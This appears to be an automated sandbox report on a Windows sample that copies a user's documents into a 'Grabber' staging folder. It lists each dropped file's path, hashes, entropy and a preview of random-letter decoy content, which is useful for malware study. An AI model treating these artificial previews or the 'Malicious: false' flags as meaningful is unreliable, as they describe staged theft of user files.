Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV\SQSJKEBWDT.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
